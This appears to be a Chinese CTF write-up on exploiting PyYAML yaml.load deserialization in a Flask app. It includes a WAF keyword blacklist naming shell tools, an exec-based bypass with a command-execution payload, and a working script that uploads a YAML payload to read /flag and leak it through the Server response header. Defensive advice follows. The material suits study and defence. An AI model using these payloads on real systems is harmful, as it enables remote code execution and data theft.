Yaml反序列化name标签打响应头回显
字数 1046 2025-08-22 12:22:54
YAML反序列化漏洞利用与响应头回显技术详解
1. 漏洞背景与代码审计
1.1 漏洞环境分析
这是一个基于Flask框架的Web应用,存在两个关键路由:
/upload- 允许上传YAML文件/Yam1- 读取并反序列化上传的YAML文件
关键漏洞点在于yaml.load()函数的使用,这可能导致反序列化漏洞。
1.2 代码审计要点
def waf(input_str):
blacklist_terms = {
'apply', 'subprocess', 'os', 'map', 'system', 'popen', 'eval',
'sleep', 'setstate', 'command', 'static', 'templates', 'session',
'&', 'globals', 'builtins', 'run', 'ntimeit', 'bash', 'zsh', 'sh',
'curl', 'nc', 'env', 'before_request', 'after_request', 'error_handler',
'add_url_rule', 'teardown_request', 'teardown_appcontext', '\\u',
'\\x', '+', 'base64', 'join'
}
# ... 检查黑名单 ...
WAF过滤了大量危险关键词,但exec函数未被过滤,这成为利用的关键。
2. YAML反序列化漏洞利用
2.1 基本利用原理
高版本Python的YAML反序列化可以利用!!python/object/new:type构造恶意对象:
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec}]
listitems: "__import__('os').system('whoami')"
type类用于创建新类型extend属性在创建时会被调用listitems作为参数传递给extend方法
2.2 绕过WAF的技巧
由于直接命令执行被过滤,可以采用以下方法:
- 使用exec代替eval:WAF未过滤exec
- URL编码绕过:对payload进行URL编码
- 间接调用:通过其他未被过滤的函数间接执行命令
3. 响应头回显技术
3.1 无回显场景下的数据外带
当目标不出网时,可以通过修改Flask的Server响应头带出数据:
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version", '想要带出的数据')
原理:
- Werkzeug的
WSGIRequestHandler处理请求头 Server头的值是server_version和sys_version属性拼接- 修改
server_version可以控制响应头中的部分内容
3.2 完整利用Payload
读取文件并通过Server头回显的YAML payload:
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: |
bb=open("/flag").read()
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb)
4. 自动化利用脚本
import requests
url = 'http://target.com/'
content = """!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: |
bb=open("/flag").read()
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb)
"""
files = {'file': ('exp.yaml', content, 'application/octet-stream')}
response = requests.post(url + 'upload', files=files)
print(response.status_code, response.text)
res = requests.get(url=url + 'Yam1?filename=exp')
print(res.headers) # 在Server头中获取flag
5. 防御建议
- 避免使用yaml.load():使用安全的
yaml.safe_load() - 加强WAF规则:增加对
exec、werkzeug等关键字的过滤 - 输入验证:严格限制上传文件的内容
- 输出编码:对响应头进行适当的编码处理
- 最小权限原则:应用运行在低权限账户下
6. 扩展思考
-
其他可能的数据外带方式:
- 通过HTTP状态码
- 通过响应时间差异
- 通过DNS查询
-
其他可利用的Python特性:
- 利用
__reduce__方法 - 通过
pickle模块的类似漏洞 - 利用Python的导入机制
- 利用
-
更复杂的WAF绕过技术:
- 字符串拼接
- 字符编码转换
- 利用Python的反射机制
通过深入理解YAML反序列化机制和Web框架的内部工作原理,可以开发出更有效的攻击和防御策略。